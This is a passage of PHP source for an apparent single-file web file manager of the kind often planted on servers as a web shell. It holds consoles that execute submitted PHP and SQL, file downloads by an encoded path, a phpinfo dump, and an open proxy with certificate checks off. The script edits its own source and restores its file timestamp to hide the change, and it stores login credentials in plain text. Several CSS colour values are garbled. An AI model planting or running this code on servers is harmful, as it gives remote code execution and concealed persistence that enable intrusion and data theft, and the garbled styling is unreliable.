				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
